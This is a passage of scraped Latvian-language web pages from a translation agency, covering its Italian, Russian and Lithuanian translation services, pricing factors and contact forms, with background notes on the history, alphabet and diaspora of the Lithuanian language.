auditorijām, tādējādi veicinot interesi par itāļu valodu un kultūru. Latvijā Itāļu valodas nedēļas pasaulē pasākumus organizē Latvijas Universitātes Itāļu valodas un kultūras studiju centrs, sadarbībā ar Itālijas vēstniecību Latvijā un Latvijas Itāļu valodas pasniedzēju asociāciju. Ik gadu šīs nedēļas ietvaros tiek piedāvāta plaša kultūras programma, kurā var iesaistīties ikviens interesents. Lai rīkotie pasākumi būtu saistoši ikvienam, ik gadu pasākumam tiek dota konkrēta tēma, taču vienojošais elements – itāļu valoda un kultūra – nemainās. Daudzpusīgi un interesanti Itāļu valodas nedēļas pasākumi ik gadu norisinās arī Itāļu valodas un kultūras studiju centrā. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM ITĀĻU VALODĀ: dažādu dokumentu tulkošana itāļu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; itāļu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi itāļu valodā; individuālie un grupu itālu valodas kursi. ITĀĻU VALODAS KOMBINĀCIJAS: itāļu–latviešu; latviešu–itāļu; itāļu–lietuviešu; lietuviešu–itāļu; igauņu–itāļu; itāļu–igauņu; angļu–itāļu; itāļu–angļu; krievu–itāļu; itāļu–krievu; poļu–itāļu; itāļu–poļu; ukraiņu–itāļu; itāļu–ukraiņu; čehu–itāļu; itāļu–čehu; vācu–itāļu; itāļu–vācu; spāņu–itāļu; itāļu–spāņu; franču–itāļu; itāļu–franču; itāļu–rumāņu; rumāņu–itāļu; dāņu–itāļu; itāļu–dāņu; zviedru–itāļu; itāļu–zviedru; norvēģu–itāļu; itāļu–norvēģu; somu–itāļu; itāļu–somu, itāļu–arābu; arābu–itāļu; itāļu–armēņu, armēņu–itāļu; itāļu–baltkrievu, baltkrievu–itāļu; bulgāru–itāļu, itāļu–bulgāru; itāļu–ebreju, ebreju–itāļu, itāļu–grieķu, grieķu–itāļu; itāļu–gruzīnu; gruzīnu–itāļu; itāļu–hindi; hindi–itāļu; itāļu–holandiešu; holandiešu–itāļu; itāļu–korejiešu; korejiešu–itāļu; itāļu–kurdu; kurdu–itāļu; itāļu–ķīniešu; ķīniešu–itāļu; itāļu–portugāļu; portugāļu–itāļu; itāļu–rumāņu; rumāņu–itāļu; itāļu–slovāku; slovāku–itāļu; itāļu–slovēņu; slovēņu–itāļu; itāļu–turku; turku–itāļu; itāļu–ungāru; ungāru–itāļu u. c. --- > Tulkojumi krievu valodā: dokumentu tulkojumi, mutiskie tulkojumi, lokalizācija un citi risinājumi. Saņemiet bezmaksas cenas aprēķinu! - Published: 2017-09-29 - Modified: 2024-11-12 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-krievu-valoda/ - Translation Priorities: Optional TULKOJUMI KRIEVU VALODĀ / TULKOT KRIEVU VALODĀ CIK MAKSĀ TULKOŠANA KRIEVU VALODĀ? Tulkojumu cena no un uz krievu valodu tiek aprēķināta katram pasūtījumam individuāli. Cenas aprēķinā vērā tiek ņemti dažādi tieši jūsu pasūtījumam raksturīgi nosacījumi, piemēram, secīgo mutisko un sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, pasākuma norises vieta, ceļošanas izdevumi, dienas nauda, sinhronajā tulkošanā papildus tiek rēķināti izdevumi par tehnisko nodrošinājumu atkarībā no pasākuma dalībnieku skaita utt. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms un lasāmība, tulkojuma izpildes termiņi, terminoloģijas sarežģītība, atkārtojumi tekstā, attēlu un grafiku sarežģītība un formatēšana, koriģēšana, kā arī citi klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Protams, gan rakstisko, gan mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no un uz krievu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Katru reizi Skrivanek Baltic tulkošanas projektu vadītāji sagatavo sīku informāciju par tulkojuma cenu pirms katra tulkošanas projekta uzsākšanas. Cenas piedāvājums tiek sagatavots 30 minūšu laikā. Rakstiskajiem darbiem, nosakot cenu, tiek ņemts vērā vārdu skaits avota tekstā, atkārtojumi tajā, grafisko elementu sarežģītība un citi parametri. Lai jūs saņemtu cenas piedāvājumu, gaidīsim tulkojamo materiālu e-pastā. Interesanti fakti par krievu valodu Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus krievu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI KRIEVU VALODĀ / TULKOT KRIEVU VALODĀ CIK MAKSĀ TULKOŠANA KRIEVU VALODĀ? Tulkojumu cena no un uz krievu valodu tiek aprēķināta katram pasūtījumam individuāli. Cenas aprēķinā vērā tiek ņemti dažādi tieši jūsu pasūtījumam raksturīgi nosacījumi, piemēram, secīgo mutisko un sinhrono tulkojumu cenu veido pakalpojuma sniegšanas laiks, pasākuma norises vieta, ceļošanas izdevumi, dienas nauda, sinhronajā tulkošanā papildus tiek rēķināti izdevumi par tehnisko nodrošinājumu atkarībā no pasākuma dalībnieku skaita utt. Rakstisko tulkojumu cenu veido tulkojamā materiāla apjoms un lasāmība, tulkojuma izpildes termiņi, terminoloģijas sarežģītība, atkārtojumi tekstā, attēlu un grafiku sarežģītība un formatēšana, koriģēšana, kā arī citi klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Protams, gan rakstisko, gan mutisko (sinhrono un secīgo) tulkojumu, lokalizācijas un adaptācijas pakalpojumu cenrādis no un uz krievu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Katru reizi Skrivanek Baltic tulkošanas projektu vadītāji sagatavo sīku informāciju par tulkojuma cenu pirms katra tulkošanas projekta uzsākšanas. Cenas piedāvājums tiek sagatavots 30 minūšu laikā. Rakstiskajiem darbiem, nosakot cenu, tiek ņemts vērā vārdu skaits avota tekstā, atkārtojumi tajā, grafisko elementu sarežģītība un citi parametri. Lai jūs saņemtu cenas piedāvājumu, gaidīsim tulkojamo materiālu e-pastā. Interesanti fakti par krievu valodu Meklējiet valodu risinājumus krievu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt KRIEVU VALODAS TULKS UN TULKOTĀJS Skrivanek Baltic krievu valodas tulku un tulkotāju komanda strādā gan ar tipveida dokumentu rakstiskajiem tulkojumiem, sarežģītiem tehniskajiem tulkojumiem, gan notariāli apliecinātiem tulkojumiem. Tulkošanas birojs Skrivanek Baltic nodrošina arī tekstu krievu valodā korektūru un stilistisko uzlabošanu, SEO satura veidošanu. Mūsu valodas speciālisti būs priecīgi pastāstīt par kultūras atšķirībām, lietišķo etiķeti, vēsturi un tradīcijām. Biznesa klientiem visbiežāk veicam šādus tulkojumus no un uz krievu valodu – mājaslapu un e-komercijas satura tulkojumus, reklāmas saukļu adaptāciju, sadarbības līgumu, tiesību aktu, tiesu nolēmumu un uzņēmējdarbības dokumentācijas tulkošanu. Veicam arī secīgo tulkošanu lietišķās vai cita veida sarunās, pat kāzu ceremonijās, konferencēs un citos pasākumos, tiešsaistē Zoom vidē un citās tiešsaistes platformās. Fiziskām personām veicam personu apliecinošo dokumentu, laulību apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pases, medicīnisko dokumentu u. c. tulkojumus. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM KRIEVU VALODĀ: dažādu dokumentu tulkošana krievu valodā; specializēti tulkojumi; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana krievu valodā; krievu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi krievu valodā; individuālie krievu valodas kursi; krievu valodas kursi grupā. KRIEVU VALODAS KOMBINĀCIJAS: krievu–latviešu; latviešu–krievu; krievu–lietuviešu; lietuviešu–krievu; igauņu–krievu; krievu–igauņu; angļu–krievu; krievu–angļu; krievu–rumāņu; rumāņu–krievu; poļu–krievu; krievu–poļu; ukraiņu–krievu; krievu–ukraiņu; čehu–krievu; krievu–čehu; vācu–krievu; krievu–vācu; spāņu–krievu; krievu–spāņu; franču–krievu; krievu–franču; itāļu–krievu; krievu–itāļu; dāņu–krievu; krievu–dāņu; zviedru–krievu; krievu–zviedru; norvēģu–krievu; krievu–norvēģu; somu–krievu; krievu–somu, krievu–arābu; arābu–krievu; krievu–armēņu, armēņu–krievu; krievu–baltkrievu, baltkrievu–krievu; bulgāru–krievu, krievu–bulgāru; krievu–ebreju, ebreju–krievu, krievu–grieķu, grieķu–krievu; krievu–gruzīnu; gruzīnu–krievu; krievu–hindi; hindi–krievu; krievu–holandiešu; holandiešu–krievu; krievu–korejiešu; korejiešu–krievu; krievu–kurdu; kurdu–krievu; krievu–ķīniešu; ķīniešu–krievu; krievu–portugāļu; portugāļu–krievu; krievu–rumāņu; rumāņu–krievu; krievu–slovāku; slovāku–krievu; krievu–slovēņu; slovēņu–krievu; krievu–turku; turku–krievu; krievu–ungāru; ungāru–krievu, Russisch Deutsch u. c. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM KRIEVU VALODĀ: dažādu dokumentu tulkošana krievu valodā; specializēti tulkojumi; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana krievu valodā; krievu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi krievu valodā; individuālie krievu valodas kursi; krievu valodas kursi grupā. --- > Dažādu dokumentu un pasākumu tulkojumi lietuviešu valodā. Saņemiet bezmaksas cenas aprēķinu tikai 15 minūtēs! - Published: 2017-09-29 - Modified: 2024-10-22 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-lietuviesu-valoda/ - Translation Priorities: Optional TULKOJUMI LIETUVIEŠU VALODĀ /TULKOT LIETUVIEŠU VALODĀ CIK MAKSĀ TULKOŠANA LIETUVIEŠU VALODĀ? Mūsu birojā katra tulkojuma cena no/uz lietuviešu valodu tiek noteikta katram pasūtījumam individuāli. Cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko tulkojumu cenrādis no/uz lietuviešu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Mūsu tulkošanas projektu vadītāji vienmēr sniegs detalizētu informāciju par tulkojuma cenu pirms tulkošanas projekta sākšanas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Lai precizētu tulkojumu izmaksas, sazinieties ar mums vai nosūtiet tulkojamo tekstu. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM LIETUVIEŠU VALODĀ: dokumentu tulkošana lietuviešu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; lietuviešu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi lietuviešu valodā; individuālie lietuviešu valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus lietuviešu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI LIETUVIEŠU VALODĀ /TULKOT LIETUVIEŠU VALODĀ CIK MAKSĀ TULKOŠANA LIETUVIEŠU VALODĀ? Mūsu birojā katra tulkojuma cena no/uz lietuviešu valodu tiek noteikta katram pasūtījumam individuāli. Cenu veido tulkojamā materiāla apjoms, tulkojuma izpildes termiņi, teksta satura specifika, teksta atkārtošanās tulkojumā, grafiskā apstrāde, teksta formatēšana, koriģēšana, kā arī klienta papildus izvēlētie pakalpojumi. VAI IR PIEEJAMS TULKOJUMU CENRĀDIS? Jā, rakstisko un mutisko tulkojumu cenrādis no/uz lietuviešu valodu ir neatņemama mūsu sadarbības līguma ar klientiem daļa. Mūsu tulkošanas projektu vadītāji vienmēr sniegs detalizētu informāciju par tulkojuma cenu pirms tulkošanas projekta sākšanas. Katra pasūtījuma cena tiek noteikta individuāli saskaņā ar Skrivanek spēkā esošo cenrādi, pamatojoties uz vārdu skaitu avota tekstā, teksta dublēšanos tulkojumā un citiem parametriem. Lai precizētu tulkojumu izmaksas, sazinieties ar mums vai nosūtiet tulkojamo tekstu. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM LIETUVIEŠU VALODĀ: dokumentu tulkošana lietuviešu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; lietuviešu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi lietuviešu valodā; individuālie lietuviešu valodas kursi. Meklējiet valodu risinājumus lietuviešu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt INTERESANTI FAKTI PAR LIETUVIEŠU VALODU Lietuviešu valoda pieder indoeiropiešu valodu saimes baltu valodu grupai. Tā ir valsts valoda Lietuvā, savukārt kā mazākumtautības valodu to visvairāk izmanto Latvijā, Igaunijā, nedaudz arī Polijā un Baltkrievijā. Lietuviešu valoda ir dzimtā valoda apmēram 4 miljoniem cilvēku, galvenokārt Lietuvā, kur tā ir vienīgā valsts valoda. Tā pieder pie baltu valodu grupas un ir radniecīgākā latviešu valodai. Tā ir vissenākā no dzīvajām indoeiropiešu saimes valodām. No trijām baltu valodām — lietuviešu, latviešu un prūšu valodas — seno indoeiropiešu pirmvalodas formu ziņā lietuviešu valoda ieņem 2. vietu: lietuviešu valodas gramatiskās formas ir krietni tuvākas indoeiropiešu pirmvalodai nekā latviešu valodas formas, taču tā ir modernāka par 18. gadsimtā mirušo prūšu valodu. Tātad šodien lietuviešu valoda ir vissenākā dzīvā indoeiropiešu valoda. Lietuviešu literāro valodu neietekmēja somugru valodas kā tas bija kuršu, zemgaļu, sēļu un latviešu valodām, tomēr somugru ietekme ir jūtama Lietuvas ziemeļos, kur agrāk bija kuršu, zemgaļu un sēļu apdzīvotās zemes. Šo valodu sajaukums visvairāk ir ietekmējis vārdu uzsvaru lietuviešu ziemeļu izloksnēs. Lietuviešu valoda ir radniecīga latviešu valodai. Uzskata, ka abas valodas līdz 13. gadsimtam veidojušās kopīgi un tikai vēlāk sadalījušās divās atsevišķās valodās. Šo valodu pirmsākumi meklējami jau 3. gadsimtā pirms mūsu ēras, kad Baltijas jūras piekrasti apdzīvoja senās baltu ciltis. Lietuviešu valodā izdala divus lielus dialektus – augštaišu un žemaišu. Abiem dialektiem ir trīs izloksnes, kas sīkāk iedalāmas 14 izlokšņu variantos. Senākais lietuviešu valodas rakstības piemineklis saglabājies no 1525. gada – kāds liturģisks teksts, bet pirmā lietuviešu valodā iespiestā grāmata ir tapusi baznīcas vajadzībām 1547. gadā Kēnigsbergā ─ Martīna Mažvīda tulkoto katehismu, kas bija pirmā grāmata lietuviešu valodā. Grāmata sarakstīta dienvidžemaišu izloksnē, taču tajā sastopamas arī dažādās rietumaugštaišu izloksnes iezīmes. Šajā grāmatā apmēram 20% no visiem lietotajiem vārdiem bija aizguvumi, galvenokārt slāvismi. Kopš 16. gadsimta līdz 18. gadsimta beigām Lietuvas Dižkunigaitijas teritorijā pastāvēja divi rakstības varianti: austrumu rakstība, kas veidojās uz Viļņas apkārtnes austrumaugštaišu izloksnes pamata, kā arī vidus variants, kurš tapa Vidus Lietuvā pie Ķēdaiņu pilsētas, pamatojoties uz rietumaugštaišu izloksnes vietējo variantu. Lielu artavu lietuviešu literārās valodas veidošanās procesā devis Jons Jablonskis (Jonas Jablonskis), kurš tās pamatā ir izmantojis augštaišu dialektu. Lietuviešu literārā valoda ir veidojusies tautai smagos apstākļos, kad Krievijas Impērijas īstenotās rusifikācijas politikas dēļ, sākot no 1864. gada, aptuveni pusgadsimtu mūsdienu Lietuvas teritorijā bija aizliegts izdot grāmatas lietuviešu valodā, taču tās tomēr ieveda slepeni. 1863. ─1904. gadā, kad Krievijas impērija savā teritorijā aizliedza jebkādu latīņu burtu izmantošanu (Lietuva tolaik piederēja Krievijas impērijai), daudzi cilvēki riskēja ar savu dzīvību, lai valstī ievestu lietuviešu grāmatas no Prūsijas. Mūsdienās šie grāmatu kontrabandisti ir nacionālie varoņi, un Lietuvā atrodas viņu pašaizliedzīgajam patriotismam veltīts piemineklis, kas, domājams, ir vienīgais šāda veida piemineklis. Lietuviešu valodā visvairāk aizguvumu ir no slāvu (veckrievu baltkrievu, poļu, krievu) un ģermāņu valodām. Tas ir skaidrojams ar šo valodu vēsturisko ietekmi, kā arī ciešajiem sakariem starp Lietuvas lielkņazisti un Prūsiju. Bez šādiem aizguvumiem lietuviešu valodā vēl pastāv neliels skaits aizguvumu no somugru un citu baltu tautu valodām. 20. gadsimtā lielākais vairums aizguvumu ienāca tieši no krievu valodas. Pēc neatkarības atjaunošanas ir pieaudzis aizguvumu skaits no angļu valodas (anglicismu). Daudzi no populārākajiem lietuviešu personvārdiem ir saistīti ar dabu. Tas nāk no seniem laikiem, kad lietuvieši tāpat kā latvieši dzīvoja ciešā saskaņā ar dabu un mēdza saviem bērniem dot koku, dabas parādību vai ziedu vārdus. Daži vārdi, piemēram, Rūta (puķe, ārstniecības augs), Eglė (egle), Aušra (rīts), Gintaras (dzintars), ir izplatīti arī mūsdienās. Viens no interesantākajiem faktiem par lietuviešu valodu un lietuviešiem – ir iespējams noteikt, vai sieviete ir precējusies pēc viņas uzvārda. Ja lietuviete, apprecoties, izvēlas lietot vīra uzvārdu, viņas uzvārdam pievieno galotni -ienė. Piemēram, ja apprecas sieviete ar uzvārdu Kazlauska, viņas uzvārds kļūst par Kazlauskieni. Vispārīgi runājot, ja sievietes uzvārds beidzas ar -ytė vai -aitė, viņa nav precējusies. Tomēr šī tradīcija pamazām izmirst, un sievietes Lietuvā bieži izvēlas rakstīt savus vārdus ar galotni -ė (šajā gadījumā Kazlauskė, nevis Kazlauskaite vai Kazlauskiene), lai cilvēki nevarētu noteikt sievietes ģimenes stāvokli, tikai izlasot viņas uzvārdu. LIETUVIEŠU ALFABĒTS Mūsdienu lietuviešu valodas rakstība lielākoties ir morfoloģiska. Tā nostiprinājusies 19. gadsimta beigās –20. gadsimta sākumā. Jau ar pirmajiem rakstiem (tie datējami ar 16. gadsimtu) lietuviešu valodā tiek lietots latīņu alfabēts. Tas ticis papildināts un mūsdienās sastāv no 32 burtiem: 12 patskaņiem (a, ą, e, ę, ė, i, į, y, o, u, ų, ū) un 20 līdzskaņiem (b, c, č, d, f, g, h, j, k, l, m, n, p, r, s, š, t, v, z, ž). Fonēmu /x/, /ʣ/, /ʤ/ apzīmēšanai rakstos lietojamas arī burtkopas: ch, dz, dž. Fonoloģijā tiek šķirtas 14 patskaņu un 45 līdzskaņu fonēmas. Patskaņu fonēmas vienas pašas var funkcionēt kā zilbes, savukārt līdzskaņu fonēmas – nevar. Pretēji latviešu valodai, visi lietuviešu valodas līdzskaņi, izņemot j, kas vienmēr ir mīksts, var būt gan cieti, gan mīkstināti atkarībā no pozīcijas. CIK SAREŽĢĪTA IR LIETUVIEŠU VALODA? Lietuviešu valoda ir kā treniņš smadzenēm. Valoda ir sena un līdzinās klasiskajai indiešu valodai sanskritam, kā arī zināmā mērā senajai latīņu un grieķu valodai. Senāko joprojām dzīvo indoeiropiešu valodu zinātnieki pēta līdz pat mūsdienām. Lietuviešu valodas sarežģītība lielā mērā ir saistīta ar tās, kā senākās indoeiropiešu valodas statusu. Lietuviešu valoda tiek uzskatīta par vienu vissarežģītākajām valodām pasaulē. Pēc ASV Ārlietu dienesta institūta datiem, lietuviešu valoda tiek klasificēta kā ļoti grūta valoda, bet noteikti to ir vieglāk apgūt kā arābu, korejiešu vai ķīniešu valodu. Protams, visvairāk tas ir saistīts ar gramatiskajiem likumiem, kuriem nav analogu nevienā citā valodā pasaulē, kā arī fonētisko skanējumu. Vārdiem ir ļoti dažādi uzsvari, kas var pilnībā mainīt to nozīmi atkarībā no tā, kā tie tiek lietoti. Lietuvieši lieto ļoti daudz deminutīvus, un viņiem nav lamuvārdu. Ja lietuvieši jūt vajadzību lamāties, viņi kādu var nosaukt par čūsku vai krupi. Lietuviešiem ir arī burts “ė”, kas neeksistē nevienā citā valodā. Šis burts tiek uzskatīts par sievišķības simbolu, jo tiek lietots sieviešu vārdu beigās. Iemācīties lasīt lietuviski nebūtu grūti, jo burti tiek izrunāti, kā raksta. Grūtāk ir atšķirt lietvārdu dzimtes. Paši lietuvieši joko, ka ātrākais veids, kā iemācīties lietuviešu valodu, ir iemīlēties lietuvietī. LIETUVIEŠU VALODAS TULKS UN TULKOTĀJS Mūsu tulku un tulkotāju komanda nodarbojas gan ar tipveida dokumentu rakstiskajiem tulkojumiem, gan notariāli apliecinātiem tulkojumiem. Protams, veicam arī sinhrono tulkošanu. Skrivanek nodrošina tekstu lietuviešu valodā korektūru un stilistisko uzlabošanu, ja nepieciešams tiek veikta redaktūra un terminoloģijas pārbaude. Visbiežāk tiek veikti šādi tulkojumi no/uz lietuviešu valodu – e-komercijas satura un mājaslapu tulkojumi, produktu etiķešu, reklāmas saukļu, SEO tekstu tulkojumi, Google atslēgas vārdu tulkojumi, satura lokalizācija un adaptācija, mārketinga, juridiskā satura, ar uzņēmējdarbību saistītu dokumentu tulkojumi. Pateicoties arī Latvijas ciešajai ekonomiskai sadarbībai ar Lietuvu, veicam arī tulkojumus šādās jomās ─ iekārtas un tehnoloģijas, finanses, medicīna, komunikācijas, sabiedriskās attiecības, transports, zinātne, lauksaimniecība, tekstilrūpniecība, tūrisms, Eiropas Savienības dokumenti, rūpniecības, dabaszinātņu, mazumtirdzniecības, tehnoloģiju tulkojumi. Fiziskām personām veicam personu apliecinošo dokumentu, laulību apliecību, bērnu dzimšanas apliecību, izglītības dokumentu, pases, medicīnisko dokumentu u. c. tulkojumus. Skrivanek vertimų biuras ir daļa no mūsu starptautiskās Skrivanek saimes ar biroju Lietuvā, Viļņā. Mūs visus vieno aizraušanās ar valodām un tehnoloģijām. Mūsu misija ir nodrošināt kvalitatīvus valodu pakalpojumus sekmīgai saziņai un ilgtspējīgam darbam. Plašāka informācija un Skrivanek Lietuvas pakalpojumu klāsts pieejams Skrivanek. lt tīmekļvietnē. KUR UN CIK DAUDZ RUNĀ LIETUVIEŠU VALODĀ? Lietuviešu valoda ir oficiālā valoda Lietuvā, kurā runā vairāk nekā 85% valsts iedzīvotāju, kuriem tā ir dzimtā valoda un 90% valsts iedzīvotāju lietuviešu valodā runā brīvi. Lietuviešu valoda tiek lietota arī ārpus Lietuvas valsts robežām. Ievērojams skaits lietuviešu valodas runātāju dzīvo Polijā, kur lietuviešu valoda ir iekļauta vietējā izglītības programmā. Kopš 19. gadsimta pieaugošā emigrācija no Lietuvas ir radījusi arī svešu valstu iedzīvotāju identificēšanos ar valodu. Rezultātā lietuviešu valodas runātāju komūnas ir izveidojušās daudzās ārvalstīs, tostarp ASV, Apvienotajā Karalistē un Norvēģijā. Kopējais valodas lietotāju skaits pasaulē varētu būt ap 4 miljoni. Lietuvā kā dzimto valodu to lieto aptuveni 2,4 miljoni iedzīvotāju. Papildus lietuviešu diasporām blakus esošajās valstīs, no 19. – 21. gadsimtam lietuvieši ir emigrējuši arī uz citiem kontinentiem. ASV veido lielāko lietuviešu diasporas daļu, tiek lēsts, ka ASV dzīvo aptuveni 600 000 lietuviešu. Lietuviešu emigrācija uz ASV sākās 19. gadsimtā, tā tika pārtraukta padomju okupācijas laikā, kad ceļošana un emigrācija tika stingri ierobežota. Čikāga tiek saukta par lietuviešu galvaspilsētu ASV. Kopš Padomju Savienības sabrukuma 1991. gadā uz ASV emigrējuši aptuveni 200 000 lietuvieši. Kanādā dzīvo aptuveni 60 000 lietuviešu. Lietuviešu kopienas Meksikā un Dienvidamerikā (Argentīnā, Brazīlijā, Kolumbijā, Urugvajā un Venecuēlā) veidojās pirms Otrā pasaules kara, sākot ar 19. gadsimta beigām un 20. gadsimta sākumu. Šobrīd vairs nav emigrantu plūsmas uz šiem galamērķiem, jo ekonomiskie apstākļi šajās valstīs nav labāki kā Lietuvā. Uz doto brīdi varētu būt, ka kopējais lietuviešu skaits šajās valstīs ir aptuveni 230 000. 19. gadsimta beigās un 20. gadsimtā Dienvidāfrikā veidojās lietuviešu kopienas, kuru lielākā daļa bija ebreji. Lietuviešu kopienas bijušās Padomju Savienības reģionos veidojās padomju okupācijas laikā; lietuviešu skaits Sibīrijā un Vidusāzijā krasi pieauga, kad liela daļa lietuviešu tika piespiedu kārtā deportēti uz šīm teritorijām. Tomēr pēc tam lielākā daļa no viņiem atgriezās Lietuvā. Vēlāk daudzi lietuvieši tika pārcelti strādāt uz citām Padomju Savienības teritorijām; daļa no viņiem neatgriezās Lietuvā, kad tā kļuva neatkarīga. Krievijā šobrīd varētu dzīvot aptuveni 86 000 